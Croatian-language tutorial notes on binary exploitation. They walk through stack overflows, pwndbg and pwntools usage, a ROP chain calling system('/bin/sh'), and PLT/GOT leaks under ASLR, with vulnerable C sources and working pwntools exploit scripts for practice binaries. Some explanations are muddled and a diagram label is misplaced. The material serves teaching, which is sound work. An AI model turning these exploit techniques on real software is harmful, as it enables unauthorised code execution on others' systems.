← Natrag

Binary Exploitation

Mali detour u x86 assembly

Dva bitna registra rbp i rsp

CALL

Pri pozivanju na vrh stoga se stavlja return adresa rsp se pomakne za jedan i base pointer rbp se stavlja na tu adresu.

RET

0x1000 call func
0x1008 mov rdi, 5

0x2000 ; Funkcija func
     ...
      ret ; Pogleda na stog i postavi ??

Primjer “1. no_protections_and_win”

Svi zadatci dostupni ovdje

Izvorni kod:

#include <stdio.h>

void win() {
    FILE* file = fopen("flag.txt", "r");
    char flag[64];
    fgets(flag, 64, file);
    puts(flag);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    char buf[16];
    printf("Enter your name: ");
    fgets(buf, 128, stdin);
    printf("Welcome %s\n", buf);

    return 0;
}

pwndbg

Kako instalirati

Mozda ce bit potrebno promjeniti gdb konfiguraciju:

echo 'source /usr/share/pwndbg/gdbinit.py' >> ~/.gdbinit

Pokrenemo gdb ./vuln i upisemo start, idemo sa ni sve do poziva na fgets()

Upisujemo testni ulaz AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEE

dq 0x7fffffffdcd0 -> ispisuje memoriju na adresi

Sad kada idemo sa ni do ret instrukcije i vidimo da je na stacku u rsp DDDDDDDD

pwndbg> dissassemble win prva linija rbp je adresa funkcije

pwndbg> break *0x0000000000401845 breakpoint na adresi

pwndbg> info proc map ispisuje mapiranja raznih alokacija za proces

Koristimo pwntools

pwntools

apt:

sudo apt-get install python-dev

pacman:

sudo pacman -S python-pwntools

#!/bin/python
from pwn import *

exe = process("./vuln")

str = exe.recv(b": ") # Uzimamo sa stdout do ": "
print(str)

exploit = "A"*24 + p64(0x0000000000401845) # p64 pretvara u little endian format

exe.sendline(exploit) # Na stdin pošaljemo exploit

# Stavi u mod gdje u terminal ispisuje sve i možemo upisivati preko tipkovnice
exe.interactive()

Moguće je koristiti funkciju iz pwn-a da dobijemo adresu za win

  #!/bin/python
  from pwn import *

+ elf = ELF("./vuln")
  exe = process("./vuln")

  str = exe.recv(b": ") # Uzimamo sa stdout do ": "
  print(str)

- exploit = "A"*24 + p64(0x0000000000401845) # p64 pretvara u little endian format
+ exploit = "A"*24 + p64(elf.sym["win"]) # Zatražimo adresu od win

  exe.sendLine(exploit) # Na stdin pošaljemo exploit

  # Stavi u mod gdje u terminal ispisuje sve i možemo upisivati preko tipkovnice
  exe.interactive()

Return oriented programing

Koristimo kod koji se već nalazi u našem file-u da programiramo naš program. Takvi programi su “wierd machines”.

Koristimo gadgete i povezujemo u chainove.

Prvi argument je u rdi

  ; Kod od main-a
0x1000: ; Return od main-a
  ret

0x2FFx:
  ;neke nebitne instrukcije
0x3000: ; Mjesto gdje se nalaze instrukcije koje nam trebaju
  pop rdi
  ret

0x4000: "/bin/bash" ; String

složimo stack da izgleda:

 ┌─────────┐
  0x3000  
 ├─────────┤
  0x4000  
 ├─────────┤
  system   pozvat će system sa argumentom "/bin/sh"
 └─────────┘

Primjer “2. nx_and_no_win”

Svi zadatci dostupni ovdje

Ideja je da zamjenimo trenutni process sa bash

Izvorni kod:

#include <stdio.h>
#include <stdlib.h>

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    char buf[16];
    printf("Enter your name: ");
    fgets(buf, 128, stdin);
    printf("Welcome %s\n", buf);

    return 0;
}

Ispitujemo koje zaštite ima binary file

$ checksec --file=vuln
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          N/A        N/A          2130 Symbols      N/A   0               22              vuln

Ispitujemo ako je dinamički linkana:

$ ldd vuln
        not a dynamic executable

Pretražuje naš binary za niz instrukcije “pop rdi; ret;”

ropper -f vuln --search "pop rdi; ret;"

Exploit:

#!/bin/python
from pwn import *
import sys

context.binary = elf = ELF("./vuln")
rop = ROP(elf)
io = process("./vuln")

if len(sys.argv) == 2:
    if sys.argv[1] == "debug":
        context.terminal = ["tmux", "splitw", "-h"]
        gdb_commands = """
            break *0x0000000000401868
        """
        gdb.attach(io, gdb_commands)

print(io.recvuntil(b"Enter your name: "))

# *************** EXPLOIT START *************** #

payload = b""

padding = b"A" * 24

rop_chain = b""

# Tražimo adresu stringa programa koji želimo pokrenut u našem binaryu
bin_sh = p64(next(elf.search(b"/bin/sh\x00")))

# Tražimu adresu funkcije system koje mijenja trenutni process za onaj u argumentu
system = p64(elf.sym['system'])

# Traži adresu u programu u kojem se izvršava pop rdi pa ret
pop_rdi = p64(rop.find_gadget(["pop rdi", "ret"])[0])
align_gadget = p64(rop.find_gadget(["ret"])[0])

rop_chain += align_gadget + pop_rdi + bin_sh + system

payload += padding + rop_chain

# *************** EXPLOIT END ***************** #

io.sendline(payload)

io.interactive()

pwndbg> x/s [adressa] ispisuje adresu kao string

Dinamičke datoteke

Ne znamo gdje je što, ne radi ista metoda jer libc koristi ASLR. ASLR -> ista funkcija će svaki put biti na drugoj adresi zbog sigurnosti

Ideja: leek adrese iz libc-a

Tablice PLT i GOT

PLT:

 ┌────────────────┐
 │   puts: 0x3000 │
 ├────────────────┤
 │ printf: 0x4000 │ pozvat će system sa argumentom "/bin/sh"
 └────────────────┘

GOT -> global offset table

pokušavamo pozvat puts(got[‘puts’]) jer će ispisati adresu puts-a

Kada znamo adresu putsa, znamo sve adrese u libc-u

Primjer “3. dynamic_binary_with_aslr”

Svi zadatci dostupni ovdje

Izvorni kod isti kao i u primjeru 2, samo je sada linkano dinamički,

$ ldd vuln
        linux-vdso.so.1 (0x00007da051201000)
        libc.so.6 => /usr/lib/libc.so.6 (0x00007da050fda000)
        /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007da051203000)
gdb ./vuln
pwndbg> start

pwndbg> disas main
Dump of assembler code for function main:
   ...
   0x000000000040118f <+48>:    call   0x401030 <puts@plt>
   ...

pwndbg> plt
Section .plt 0x401020-0x401070:
0x401030: puts@plt
0x401040: printf@plt
0x401050: fgets@plt
0x401060: setvbuf@plt

pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /tmp/binary/3. dynamic_binary_with_aslr/vuln:
GOT protection: Partial RELRO | Found 4 GOT entries passing the filter
[0x404000] puts@GLIBC_2.2.5 -> 0x401036 (puts@plt+6) ◂— push 0 /* 'h' */
[0x404008] printf@GLIBC_2.2.5 -> 0x401046 (printf@plt+6) ◂— push 1
[0x404010] fgets@GLIBC_2.2.5 -> 0x401056 (fgets@plt+6) ◂— push 2
[0x404018] setvbuf@GLIBC_2.2.5 -> 0x401066 (setvbuf@plt+6) ◂— push 3

Nakon što odemo na instrukciju nakon prvog poziva na puts u gotu se sada nalazi prava adresa

  pwndbg> got
  Filtering out read-only entries (display them with -r or --show-readonly)

  State of the GOT of /tmp/binary/3. dynamic_binary_with_aslr/vuln:
  GOT protection: Partial RELRO | Found 4 GOT entries passing the filter
+ [0x404000] puts@GLIBC_2.2.5 -> 0x7ffff7e1eda0 (puts) ◂— endbr64
  [0x404008] printf@GLIBC_2.2.5 -> 0x401046 (printf@plt+6) ◂— push 1
  [0x404010] fgets@GLIBC_2.2.5 -> 0x401056 (fgets@plt+6) ◂— push 2
  [0x404018] setvbuf@GLIBC_2.2.5 -> 0x7ffff7e1f640 (setvbuf) ◂— endbr64